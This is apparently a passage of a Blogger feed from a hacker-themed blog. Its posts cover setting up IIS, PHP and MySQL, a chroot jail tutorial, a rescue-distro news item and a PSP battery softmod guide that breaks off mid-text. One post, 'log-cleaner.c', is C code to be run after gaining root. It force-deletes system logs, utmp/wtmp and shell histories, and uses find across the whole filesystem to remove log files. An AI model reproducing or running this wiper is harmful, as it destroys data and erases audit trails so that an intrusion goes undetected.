any other software you might want to use later on.&lt;br /&gt;Now click Next and the installation should start.&lt;br /&gt;Once IIS is installed on your machine you can view your home page in a web browser by typing http://localhost&lt;br /&gt;You can also change localhost for the name of your computer or if a dedicated computer use IP address into the address bar of your web browser.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Note: Your default web directory to place your web site in is CInetpub\wwwroot (Place your website files there)&lt;br /&gt;&lt;br /&gt;2. Installing PHP &amp; Configuring&lt;br /&gt;Note: Find the latest PHP-Installer at http://www.php.net/downloads I used PHP 5.0.3 installer [2,267Kb]&lt;br /&gt;Note: First check what IIS# you have installed by going: Start &gt; Settings &gt; Administrative Tools &gt; Internet Information Services (IIS) Manager&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;On the top right under "Version" Remember that! you will need it when installing php!&lt;br /&gt;&lt;br /&gt;Now run the executable installer a pop-up window should come up:&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Note: Windows 2003 IIS6, Windows XP IIS5.1, Windows 2000 Unknown&lt;br /&gt;Browse to your desired directory ( I suggest keeping it default for the sake of this tutorial) &gt; Next &gt; Select IIS# &gt; Next&lt;br /&gt;The installation wizard gathers enough information to set up the php.ini file, and configure certain web servers to use PHP.&lt;br /&gt;Once the installation has completed, the installer will inform you if you need to restart your system, restart the server, or just start using PHP.&lt;br /&gt;Note: This istaller configures your Internet Information Services (IIS)&lt;br /&gt;&lt;br /&gt;Make a php page "phpinfo.php" and dump this code inside:&lt;br /&gt;&lt;br /&gt;&lt;blockquote&gt;&lt;?php&lt;br /&gt;&lt;br /&gt;// Show all information, defaults to INFO_ALL&lt;br /&gt;phpinfo();&lt;br /&gt;&lt;br /&gt;// Show just the module information.&lt;br /&gt;// phpinfo(8) yields identical results.&lt;br /&gt;phpinfo(INFO_MODULES);&lt;br /&gt;&lt;br /&gt;?&gt;&lt;/blockquote&gt;&lt;br /&gt;&lt;br /&gt;Save it to: CInetpub\wwwroot open browser to: http://localhost/phpinfo.php&lt;br /&gt;PHP IS INSTALLED!&lt;br /&gt;&lt;br /&gt;3. Download the latest Mysql Server install from: http://dev.mysql.com/downloads/ in my case I downloaded the Recommended version "MySQL 4.1 -- Generally Available (GA) release (recommended)"&lt;br /&gt;&lt;br /&gt;Now run the exe and you should get a pop-up window similar to this:&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Click Next &gt; Next &gt;&lt;br /&gt;Now there's a section where it ask you to make a mysql.com account select third one down "Skip Sign-Up"&lt;br /&gt;Click Finish! Now the Configuration Wizard should pop-up Click Next &gt; Detailed Configuration&lt;br /&gt;Now you should be here:&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;If your running it on your own pc "Select Developer Machine" If on a dedicated server chose "Dedicated MySQL Server Machine"&lt;br /&gt;Click Next &gt; Next &gt; Next&lt;br /&gt;Mysql Server Instance Configuration Section! If your going to run your test site on this chose "Manual Settings and put 10" for a couple of users "Decission Support" If a Dedicated server "Online Transaction Processing" Click Next&lt;br /&gt;Next &gt; Next &gt; Should be here:&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Make sure you select "Include Bin Dirrectory in Windows PATH" Click Next!&lt;br /&gt;Now type in your Root Password. Now click Next and Execute.&lt;br /&gt;&lt;br /&gt;If you want to go the mile dump something like phpmyadmin in your CInetpub\wwwroot for easy access of your databases.&lt;br /&gt;Note: That's something we wont get into in this tutorial!&lt;br /&gt;&lt;br /&gt;Done!&lt;br /&gt;&lt;br /&gt;reference:http://www.youngcoders.com/&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3260786454834177359-6485482031300201479?l=devilz-kiddies.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://devilz-kiddies.blogspot.com/feeds/6485482031300201479/comments/default' title='Poskan Komentar'/><link rel='replies' type='text/html' href='http://devilz-kiddies.blogspot.com/2010/10/making-your-home-computer-dedicated.html#comment-form' title='0 Komentar'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/3260786454834177359/posts/default/6485482031300201479'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/3260786454834177359/posts/default/6485482031300201479'/><link rel='alternate' type='text/html' href='http://devilz-kiddies.blogspot.com/2010/10/making-your-home-computer-dedicated.html' title='Making your Home Computer / Dedicated Computer your own Web Server!!!'/><author><name>kiddies</name><uri>http://www.blogger.com/profile/13318580746848806214</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='24' src='http://2.bp.blogspot.com/_OQnLNZeuyqU/TPWY_Tjlt3I/AAAAAAAAABA/yzWi5koouns/S220/I%2BLoVe%2BU%2B4eVer.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-3260786454834177359.post-7121107233748529887</id><published>2010-10-18T02:12:00.000-07:00</published><updated>2010-10-18T02:13:28.517-07:00</updated><title type='text'>Create a Live Windows CD</title><content type='html'>Take a look at http://www.lachiesadicristo.it/w98cd/default.htm.&lt;br /&gt;&lt;br /&gt;It guides you how to create a live, bootable CD with Windows on. Once the CD is created, you can use it on any PC (with enough RAM) to run Windows, without even touching the hard drive.&lt;br /&gt;&lt;br /&gt;It's easy to do if you know Windows well. I have once of these CD's I made with tools to fix up my PC if it was to ever develop a problem. Very useful indeed.&lt;br /&gt;&lt;br /&gt;It's recommended you use Windows 98, but if you have a powerful PC with more than 512MB RAM, you could use Windows Me easily.&lt;br /&gt;&lt;br /&gt;Just take note that some of the tools listed in the tutorial have now disappeared from the net, making them hard to find. I will post links to the missing tools when I track them down or upload them to my site.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3260786454834177359-7121107233748529887?l=devilz-kiddies.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://devilz-kiddies.blogspot.com/feeds/7121107233748529887/comments/default' title='Poskan Komentar'/><link rel='replies' type='text/html' href='http://devilz-kiddies.blogspot.com/2010/10/create-live-windows-cd.html#comment-form' title='0 Komentar'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/3260786454834177359/posts/default/7121107233748529887'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/3260786454834177359/posts/default/7121107233748529887'/><link rel='alternate' type='text/html' href='http://devilz-kiddies.blogspot.com/2010/10/create-live-windows-cd.html' title='Create a Live Windows CD'/><author><name>kiddies</name><uri>http://www.blogger.com/profile/13318580746848806214</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='24' src='http://2.bp.blogspot.com/_OQnLNZeuyqU/TPWY_Tjlt3I/AAAAAAAAABA/yzWi5koouns/S220/I%2BLoVe%2BU%2B4eVer.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-3260786454834177359.post-3563704071172040938</id><published>2010-09-12T00:01:00.000-07:00</published><updated>2010-09-12T00:02:34.708-07:00</updated><title type='text'>log-cleaner.c</title><content type='html'>[begin]&lt;br /&gt;/*simple code deleting logs from linux please use it after you enter the root access&lt;br /&gt;c0d3r : kiddies A.k.A peneter&lt;br /&gt;email : kecoak2004[at]yahoo[dot]com&lt;br /&gt;visit : http://devilz-kiddies.blogspot.com/        &lt;br /&gt;          http://kiddiescode.wordpress.com/&lt;br /&gt;inspirate :mywisdom&lt;br /&gt;greetz:mywisdom,gunslinger_,xtr0nic,whitehat,flyff666,petimati&lt;br /&gt;isa muhammad said,patriot,cruz3n,n4p5t3r(Founder of anti social community)and you...&lt;br /&gt;&lt;br /&gt;greetz:devilzc0de crews n members, ycl,jasakom,anti-jasakom,kecoak-elektronik&lt;br /&gt;anti-social(my private community),leetcoder,voidnetwork,codecall, darkc0de (missing forum n real blackhat forum) n soon..&lt;br /&gt;&lt;br /&gt;special thanks:vera you always be mine and otherhand..thanks you always beside me&lt;br /&gt;when im happy,sad and down..love you honey*/&lt;br /&gt;&lt;br /&gt;#include &lt;stdio.h&gt;&lt;br /&gt;int main()&lt;br /&gt;{&lt;br /&gt;system("rm -rf /tmp/logs");&lt;br /&gt;system("rm -rf $HISTFILE");&lt;br /&gt;system("rm -rf /root/.ksh_history");&lt;br /&gt;system("rm -rf /root/.bash_history");&lt;br /&gt;system("rm -rf /root/.ksh_history");&lt;br /&gt;system("rm -rf /root/.bash_logout");&lt;br /&gt;system("rm -rf /usr/local/apache/logs");&lt;br /&gt;system("rm -rf /usr/local/apache/log");&lt;br /&gt;system("rm -rf /var/apache/logs");&lt;br /&gt;system("rm -rf /var/apache/log");&lt;br /&gt;system("rm -rf /var/run/utmp");&lt;br /&gt;system("rm -rf /var/logs");&lt;br /&gt;system("rm -rf /var/log");&lt;br /&gt;system("rm -rf /var/adm");&lt;br /&gt;system("rm -rf /etc/wtmp");&lt;br /&gt;system("rm -rf /etc/utmp");&lt;br /&gt;system("find / -name *.bash_history -exec rm -rf {}");&lt;br /&gt;system("find / -name *.bash_logout -exec rm -rf {}");&lt;br /&gt;system("find / -name "log*" -exec rm -rf {}");&lt;br /&gt;system("find / -name *.log -exec rm -rf {}");&lt;br /&gt;}&lt;br /&gt;[EOF]&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3260786454834177359-3563704071172040938?l=devilz-kiddies.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://devilz-kiddies.blogspot.com/feeds/3563704071172040938/comments/default' title='Poskan Komentar'/><link rel='replies' type='text/html' href='http://devilz-kiddies.blogspot.com/2010/09/log-cleanerc.html#comment-form' title='0 Komentar'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/3260786454834177359/posts/default/3563704071172040938'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/3260786454834177359/posts/default/3563704071172040938'/><link rel='alternate' type='text/html' href='http://devilz-kiddies.blogspot.com/2010/09/log-cleanerc.html' title='log-cleaner.c'/><author><name>kiddies</name><uri>http://www.blogger.com/profile/13318580746848806214</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='24' src='http://2.bp.blogspot.com/_OQnLNZeuyqU/TPWY_Tjlt3I/AAAAAAAAABA/yzWi5koouns/S220/I%2BLoVe%2BU%2B4eVer.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-3260786454834177359.post-7320511138285269439</id><published>2010-08-23T10:50:00.000-07:00</published><updated>2010-08-23T10:52:36.832-07:00</updated><title type='text'>chroot shell tutorial</title><content type='html'>let's say you want a user of your (linux) server to have no access to anything you don't want him/her to use..&lt;br /&gt;but you do want them to be able to log in and do their thing...&lt;br /&gt;you'll need to root jail (chroot) the user.&lt;br /&gt;there are lots of tutorials about chroot and also chrooted shells, but I couldn't find a good one, so I wrote one down while working my way thrue the othere tutorials and howto's..&lt;br /&gt;hope you like it !!&lt;br /&gt;&lt;br /&gt;disclaimer:&lt;br /&gt;reading and following any or all steps in this tutorial is at your own risk.&lt;br /&gt;I am not responsible for your stupidity !&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;his tutorial should work on all linux distributions, but i've only tested it on slackware (9.0, 9.1, 10, 10.1 and 10.2)&lt;br /&gt;&lt;br /&gt;you'll need the following programs (wich are possibly not installed):&lt;br /&gt;&lt;br /&gt;/usr/bin/sudo&lt;br /&gt;/usr/sbin/chroot&lt;br /&gt;&lt;br /&gt;If you can't seem to find or install these, this tutorial is not for you !!&lt;br /&gt;&lt;br /&gt;all thrue the tutorial you'll see bold italic lines.. they are supposed to be executed by you&lt;br /&gt;whoami&lt;br /&gt;if that didn't say root. you'll need to become root.&lt;br /&gt;su&lt;br /&gt;&lt;br /&gt;in this example the user "luser" will be added and jailed ..&lt;br /&gt;you'll need to be super user (root) to do all this..&lt;br /&gt;&lt;br /&gt;let's start by adding the user:&lt;br /&gt;useradd -d /tmp -s /bin/chrootshell luser&lt;br /&gt;this adds the user luser with home folder /tmp with shell &lt;br /&gt;/bin/chrootshell&lt;br /&gt;&lt;br /&gt;now set his password:&lt;br /&gt;passwd luser&lt;br /&gt;&lt;br /&gt;make his home dir:&lt;br /&gt;mkdir /home/luser&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;now we need to make his shell..&lt;br /&gt;use your favorite editor to paste the following in /bin/chrootshell&lt;br /&gt;&lt;blockquote&gt;#!/bin/bash&lt;br /&gt;&lt;br /&gt;# chrootshell spawns chroot shell&lt;br /&gt;#&lt;br /&gt;# (c) 2003-2005 Anne Jan Brouwer&lt;br /&gt;#             GNU GPL&lt;br /&gt;&lt;br /&gt;if [ "$1" = "-c" ]&lt;br /&gt;then&lt;br /&gt;       i=0&lt;br /&gt;       PARAMETERS=""&lt;br /&gt;       for parameter in $*&lt;br /&gt;       do&lt;br /&gt;               if [ $i -gt 0 ]&lt;br /&gt;               then&lt;br /&gt;                       PARAMETERS="$PARAMETERS $parameter"&lt;br /&gt;               fi&lt;br /&gt;               let i++&lt;br /&gt;       done&lt;br /&gt;       sudo /usr/sbin/chroot /home/$USER /bin/su - $USER -c "$PARAMETERS"&lt;br /&gt;else&lt;br /&gt;       sudo /usr/sbin/chroot /home/$USER /bin/su - $USER&lt;br /&gt;fi&lt;/blockquote&gt;&lt;br /&gt;&lt;br /&gt;make the "chrootshell" executable..&lt;br /&gt;chmod +x /bin/chrootshell&lt;br /&gt;&lt;br /&gt;now, let's go and make the chroot root ;)&lt;br /&gt;we go to the users home dir, wich will become his root&lt;br /&gt;cd /home/luser&lt;br /&gt;note: we will be staying in for the rest of this tut !!!&lt;br /&gt;&lt;br /&gt;make the most important folders..&lt;br /&gt;mkdir bin dev etc home lib tmp usr&lt;br /&gt;&lt;br /&gt;make the users chrooted home dir&lt;br /&gt;mkdir home/luser&lt;br /&gt;chown luser:users home/luser&lt;br /&gt;&lt;br /&gt;make the chrooted tmp dir usable&lt;br /&gt;chmod 777 tmp &lt;br /&gt;chmod +t tmp&lt;br /&gt;&lt;br /&gt;let's make the chrooted passwd file&lt;br /&gt;grep root /etc/passwd &gt;&gt; etc/passwd&lt;br /&gt;now we'll need to edit the passwd file to change the lusers chrooted shell and path.. &lt;br /&gt;fire up your favorite editor to edit the newly created passwd file.&lt;br /&gt;the line should look a little like this:&lt;br /&gt;luser: x:1020:100::/tmp:/bin/chrootshell&lt;br /&gt;change it to:&lt;br /&gt;luser: x:1020:100::/home/luser:/bin/bash&lt;br /&gt;not that 1020 is the users ID and is propably some other number on your &lt;br /&gt;puter.. don't change it to 1020 just because it said 1020 in my example ok ;)&lt;br /&gt;&lt;br /&gt;now we'll make the chrooted group file&lt;br /&gt;grep root /etc/group &gt;&gt; etc/group&lt;br /&gt;grep users /etc/group &gt;&gt; etc/group&lt;br /&gt;&lt;br /&gt;we'll copy the standard /etc/profile and needed files you could chose to edit these &lt;br /&gt;cp /etc/profile etc&lt;br /&gt;cp /etc/DIR_COLORS etc&lt;br /&gt;cp /etc/HOSTNAME etc&lt;br /&gt;&lt;br /&gt;we'll need to make some much needed devices&lt;br /&gt;mknod -m 0666 dev/tty c 5 0&lt;br /&gt;mknod -m 0644 dev/urandom c 1 9&lt;br /&gt;mknod -m 0666 dev/null c 1 3&lt;br /&gt;&lt;br /&gt;let's now make some usefull (compatibility) links and folders..&lt;br /&gt;ln -s bin usr&lt;br /&gt;ln -s lib usr&lt;br /&gt;ln -s lib usr/libexec&lt;br /&gt;mkdir usr/local&lt;br /&gt;ln -s bin usr/local&lt;br /&gt;ln -s lib usr/local&lt;br /&gt;and make the terminfo (needed for a lot of programs) available in the root jail.&lt;br /&gt;mkdir usr/share&lt;br /&gt;cp -r /usr/share/terminfo usr/share&lt;br /&gt;&lt;br /&gt;now for the realy fun part...&lt;br /&gt;you'll have to find out some stuff:&lt;br /&gt;&lt;br /&gt;1. what do you want the user to be able to use&lt;br /&gt;2. what library's do these executables need&lt;br /&gt;3. what other files will the user be needing&lt;br /&gt;&lt;br /&gt;1. what do you want the user to be able to use&lt;br /&gt;&lt;br /&gt;the user will need a shell (bash) &lt;br /&gt;the user will need su (because the chrootshell script depends on it)&lt;br /&gt;the user will need basic tools (cp, cat, ls, rm, mv etc.).&lt;br /&gt;you'd want the user to have some other tools (vi, pico, whoami etc..)&lt;br /&gt;you'd like for the user to have dircolors and id (needed if you want to use the standard etc/profile)&lt;br /&gt;&lt;br /&gt;copy these files to the users chrooted bin dir&lt;br /&gt;cp `which bash` `which su` `which cp` `which ln` `which ls` `which rm` `which mv` `which cp` `which du` `which cat` `which less` `which vi` `which pico` `which whoami` `which dircolors` `which id` bin&lt;br /&gt;note: the `which bash` part returns the full path of bash (/bin/bash) etc..&lt;br /&gt;&lt;br /&gt;2. what library's do these executables need&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;the command ldd is realy usefull here..&lt;br /&gt;let's take bash for example:&lt;br /&gt;root@server~# ldd `which bash`&lt;br /&gt;       libtermcap.so.2 =&gt; /lib/libtermcap.so.2 (0x4001b000)&lt;br /&gt;       libdl.so.2 =&gt; /lib/libdl.so.2 (0x40020000)&lt;br /&gt;       libc.so.6 =&gt; /lib/libc.so.6 (0x40023000)&lt;br /&gt;       /lib/ld-linux.so.2 =&gt; /lib/ld-linux.so.2 (0x40000000)&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;and copy all the needed libs for each of the programs you chose in step 1 to the chrooted lib dir..&lt;br /&gt;&lt;br /&gt;let's first do so for bash&lt;br /&gt;cp /lib/libtermcap.so.2 /lib/libdl.so.2 /lib/libc.so.6 /lib/ld-linux.so.2 lib&lt;br /&gt;next the one (on my system) missing for su&lt;br /&gt;cp /lib/libcrypt.so.1 /lib/libnss_compat.so.2 /lib/libnss_files.so.2 lib&lt;br /&gt;note that ldd doesn't see that libnss is needed, it is!!&lt;br /&gt;next the ones for ls (only the ones not allready copied ofcourse ;))&lt;br /&gt;cp /lib/librt.so.1 /lib/libpthread.so.0 lib&lt;br /&gt;etc...&lt;br /&gt;cp /lib/libncurses.so.5 lib&lt;br /&gt;cp /lib/libresolv.so.2 lib&lt;br /&gt;&lt;br /&gt;3. what other files will the user be needing&lt;br /&gt;&lt;br /&gt;well this depends on what kind of programs the user is allowed to execute..&lt;br /&gt;there's no real telling what you'll have to give the user to be content..&lt;br /&gt;wait a minute !! the user has to be content with what you give him/her !!&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;the last step is to add the user to the sudoers file..&lt;br /&gt;open the /etc/sudoers file with your favorite editor or use &lt;br /&gt;visudo&lt;br /&gt;add the line:&lt;br /&gt;luser   ALL= NOPASSWD: /usr/sbin/chroot /home/luser /bin/su - luser*&lt;br /&gt;save and exit&lt;br /&gt;&lt;br /&gt;now to check it out..  try and log in as the newly created luser &lt;br /&gt;ssh -l luser localhost&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;A lot more info on chroot logins&lt;br /&gt;&lt;br /&gt;A nice derived paper can be found at rootshellsecurity.com&lt;br /&gt;&lt;br /&gt;Another system I'm gonna have to check out is jailkit..&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Copyright (c) 2003-2005 by Anne Jan Brouwer (the_JinX).&lt;br /&gt;This work is licensed under a Creative Commons License.&lt;br /&gt;Attribution-ShareAlike 2.0 or later&lt;br /&gt;&lt;br /&gt;reference:http://intmainvoid.nl/&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3260786454834177359-7320511138285269439?l=devilz-kiddies.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://devilz-kiddies.blogspot.com/feeds/7320511138285269439/comments/default' title='Poskan Komentar'/><link rel='replies' type='text/html' href='http://devilz-kiddies.blogspot.com/2010/08/chroot-shell-tutorial.html#comment-form' title='0 Komentar'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/3260786454834177359/posts/default/7320511138285269439'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/3260786454834177359/posts/default/7320511138285269439'/><link rel='alternate' type='text/html' href='http://devilz-kiddies.blogspot.com/2010/08/chroot-shell-tutorial.html' title='chroot shell tutorial'/><author><name>kiddies</name><uri>http://www.blogger.com/profile/13318580746848806214</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='24' src='http://2.bp.blogspot.com/_OQnLNZeuyqU/TPWY_Tjlt3I/AAAAAAAAABA/yzWi5koouns/S220/I%2BLoVe%2BU%2B4eVer.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-3260786454834177359.post-3769145078493296316</id><published>2010-08-17T03:35:00.000-07:00</published><updated>2010-08-17T03:38:47.768-07:00</updated><title type='text'>Trinity Rescue Kit 3.4 released</title><content type='html'>&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://www.h-online.com/imgs/43/5/5/6/9/8/6/931a04469ced0a26.jpeg"&gt;&lt;img style="float:left; margin:0 10px 10px 0;cursor:pointer; cursor:hand;width: 250px; height: 188px;" src="http://www.h-online.com/imgs/43/5/5/6/9/8/6/931a04469ced0a26.jpeg" border="0" alt="" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;After more than a year of development, developer Tom Kerremans has announced the release of version 3.4 of the Trinity Rescue Kit (TRK). TRK is a Live distribution – bootable via a LiveCD, LiveUSB or over a network – that's based on Mandriva Linux and is specifically aimed at recovery and repair operations for both Windows and Linux systems. For example, it includes a number of tools for recovering deleted files, resetting passwords and cloning drives.&lt;br /&gt;Trinity Rescue Kit 3.4 uses the latest 2.6.35 Linux kernel and features an updated, easy to use scrollable text menu that provides access to its most commonly used features. Using the NTFS-3G read/write driver, TRK includes full NTFS file system write support. Other features include an application for removing various temporary files from a system, full proxy server support and several updates to the included packages. Five anti-virus programs with online update capabilities are included, integrated into a single uniform command-line, as well as two rootkit detection utilities.&lt;br /&gt;More details about the release can be found in the official release announcement and in the change log. Trinity Rescue Kit 3.4 build 367 is available to download as a 146MB LiveCD from the project's site and online documentation is provided.&lt;br /&gt;&lt;br /&gt;reference: http://www.h-online.com/open/news/item/Trinity-Rescue-Kit-3-4-released-1059476.html&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3260786454834177359-3769145078493296316?l=devilz-kiddies.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://devilz-kiddies.blogspot.com/feeds/3769145078493296316/comments/default' title='Poskan Komentar'/><link rel='replies' type='text/html' href='http://devilz-kiddies.blogspot.com/2010/08/trinity-rescue-kit-34-released.html#comment-form' title='3 Komentar'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/3260786454834177359/posts/default/3769145078493296316'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/3260786454834177359/posts/default/3769145078493296316'/><link rel='alternate' type='text/html' href='http://devilz-kiddies.blogspot.com/2010/08/trinity-rescue-kit-34-released.html' title='Trinity Rescue Kit 3.4 released'/><author><name>kiddies</name><uri>http://www.blogger.com/profile/13318580746848806214</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='24' src='http://2.bp.blogspot.com/_OQnLNZeuyqU/TPWY_Tjlt3I/AAAAAAAAABA/yzWi5koouns/S220/I%2BLoVe%2BU%2B4eVer.jpg'/></author><thr:total>3</thr:total></entry><entry><id>tag:blogger.com,1999:blog-3260786454834177359.post-5205723486121361536</id><published>2010-08-07T17:09:00.000-07:00</published><updated>2010-08-07T17:18:05.887-07:00</updated><title type='text'>PSP Hacking (Softmodding your battery)</title><content type='html'>This was the tutorial i used when i was first getting into PSP hacking. I did not write this myself, it came origionally from a man named Ben Heck which can found at Ben Heck's Official Site. Most tutorials tell you that you need a second PSP with a custom firmware installed (homebrew) to create a pandora battery and magic memory stick for the PSP that you which to Unbrick. If you dont have access to a second unbricked PSP then this tutorial will help you out like it did for me. I would write this tutorial myself, but most all of the information i have on this method i aquired from this tutorial anyways, so it only makes sence to share the origional.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;We will still start off with Q/A (Questions/Answers)&lt;br /&gt;&lt;br /&gt;Q)What is Pandora's Battery?&lt;br /&gt;A)Pandora's Battery is a utility that utilizes your memory stick and battery to hack your psp.&lt;br /&gt;&lt;br /&gt;Q)There are already a lot of tutorials for this.....what makes yours any different?&lt;br /&gt;A)On most of the tutorials it tells you that you require a psp that has 1.50 or a custom firmware. My tutorial doesnt require the use of a second psp! Just some spare time and a little skill.&lt;br /&gt;&lt;br /&gt;Q)Is Pandora's Battery illegal?&lt;br /&gt;A)Pandora's Battery is in no way illegal because it doesnt use any copy written material (rather it be from Sony or a 3rd party application)&lt;br /&gt;&lt;br /&gt;Q)What is "Hardmodding"?&lt;br /&gt;A)Hardmodding is a way or modifying something through hardware. (example: modifying a battery)&lt;br /&gt;&lt;br /&gt;Q)Why did you update this post?&lt;br /&gt;A)As listed above, i always receive mail because people don't understand some of the processes. So hopefully this newer version will sum things up and make it clearer.&lt;br /&gt;&lt;br /&gt;Q)I Cant afford a new battery what can i do?&lt;br /&gt;A)Read the "DA Time Machine section"&lt;br /&gt;&lt;br /&gt;Q)Where have you been?&lt;br /&gt;A)Around the world lol. I moved.....&lt;br /&gt;&lt;br /&gt;Q)Whats with the pictures and videos?&lt;br /&gt;A)Sorry if the quality isnt that good. If anyone feels they can do better, do so and i will add them and give them their props lol.&lt;br /&gt;&lt;br /&gt;Well, with that out of the way, lets get started!!!!&lt;br /&gt;&lt;br /&gt;We will now discuss how the tutorial is going to be organized (because organizations is a key factor in many great posts lol)&lt;br /&gt;1)Questions and Answers&lt;br /&gt;2)Materials Required&lt;br /&gt;3)Process #1: Creating the Magic Memory Stick&lt;br /&gt;4)Process #2: Creating the Magic Memory Stick with a bricked psp&lt;br /&gt;5)Process #3: Moving the partitions&lt;br /&gt;6)Process #4: Hardmodding the battery&lt;br /&gt;7)Testing your battery&lt;br /&gt;8)Running the files&lt;br /&gt;9)Tips and Tricks&lt;br /&gt;10)Final Questions&lt;br /&gt;11)Information Links&lt;br /&gt;12)Download Links&lt;br /&gt;13)For Nerds ONLY (how this works)&lt;br /&gt;14)Upgrading Custom Firmware&lt;br /&gt;15)Error Fixing&lt;br /&gt;16)Windows Vista&lt;br /&gt;17)DA Time Machine (This covers how to bypass the ressurection.elf and how to use it)&lt;br /&gt;18)Pictures/Videos&lt;br /&gt;&lt;br /&gt;Now that we understand that, we can now continue with the guide. So first up is "Materials"&lt;br /&gt;(NOTE: The materials will be organized by 1)Name and then by 2)Amount needed)&lt;br /&gt;&lt;br /&gt;Materials:&lt;br /&gt;----------&lt;br /&gt;A psp (1)&lt;br /&gt;A psp battery (2)&lt;br /&gt;A memory stick pro duo with 512MB or more, NO LESS (1)&lt;br /&gt;A mini USB or Memory Card Reader (1)&lt;br /&gt;A computer with an internet connection (1)&lt;br /&gt;A knife/exacto knife (1)&lt;br /&gt;A needle, safety pin, tooth pick, etc (1)&lt;br /&gt;Winrar (see Download Section)&lt;br /&gt;&lt;br /&gt;Now i assume that these are common household material (if not you can buy them all at a walmart for about $50 or less)&lt;br /&gt;&lt;br /&gt;Process #1: Creating the Magic Memory Stick&lt;br /&gt;--------------------------------------------&lt;br /&gt;(NOTE: this is for working psp's. so if your psp is bricked, you dont have to do this one. just go to the next one)&lt;br /&gt;1)Turn on the psp and go into USB mode&lt;br /&gt;2)Download Winrar (see download section) if you havent already&lt;br /&gt;3)When your computer detects the psp, go to "My Computer"&lt;br /&gt;4)Right-click on your psp's drive and select "Format"&lt;br /&gt;5)Format the memory stick&lt;br /&gt;6)Next download the "universal unbricker" (which is in the download section)&lt;br /&gt;7)Place all the files inside of it onto your psp's drive. These files should include:&lt;br /&gt;==three folders called "PSP", "kd", and "registry"&lt;br /&gt;==three eboots called "150.pbp", "340.pbp", and "371.pbp"&lt;br /&gt;==one bin file called "msipl.bin"&lt;br /&gt;&lt;br /&gt;once done with that, move to "Process #3: Moving the Partitions"&lt;br /&gt;&lt;br /&gt;Process #2: Creating the Magic Memory Stick with a bricked psp:&lt;br /&gt;---------------------------------------------------------------&lt;br /&gt;In order to do this, we are going to need a Memory card Reader/Writer.&lt;br /&gt;1)Plug your Memory Stick in via Card Reader&lt;br /&gt;2)Follow the above tutorial from step 2-7&lt;br /&gt;&lt;br /&gt;Process #3: Moving the Partitions:&lt;br /&gt;---------------------------------&lt;br /&gt;(NOTE: Keep your memory stick in through USB or card reader)&lt;br /&gt;1)Download the partition mover&lt;br /&gt;2)Extract the folder "msinst" to your hard drive (C:\)&lt;br /&gt;3)Go to "My Computer" and find your PSP drive letter (Removable Disk ?)&lt;br /&gt;4)Go to "Start"&lt;br /&gt;5)Go to "Run"&lt;br /&gt;6)Type in "cmd" and press OK&lt;br /&gt;&lt;br /&gt;from here, there should be a black and silverish white screen. If so, your all good and are ready to continue.&lt;br /&gt;&lt;br /&gt;7)Type this in: "cd C:\msinst"&lt;br /&gt;8)Next, type in "msinst ? msipl.bin" (remember No quotes) (also, replace ? with your removable disk letter)(also, use a capital letter to represent your drive. example: C:\msinst&gt;msinst J msipl.bin)&lt;br /&gt;9)It will show some stuff and give you 2 options. 1)Y=Yes 2)N=No........of course, press Y and then enter&lt;br /&gt;10)You should receive a confirmation that the partitions were successfully moved&lt;br /&gt;&lt;br /&gt;and thats it! your done with your magic memory stick and partition 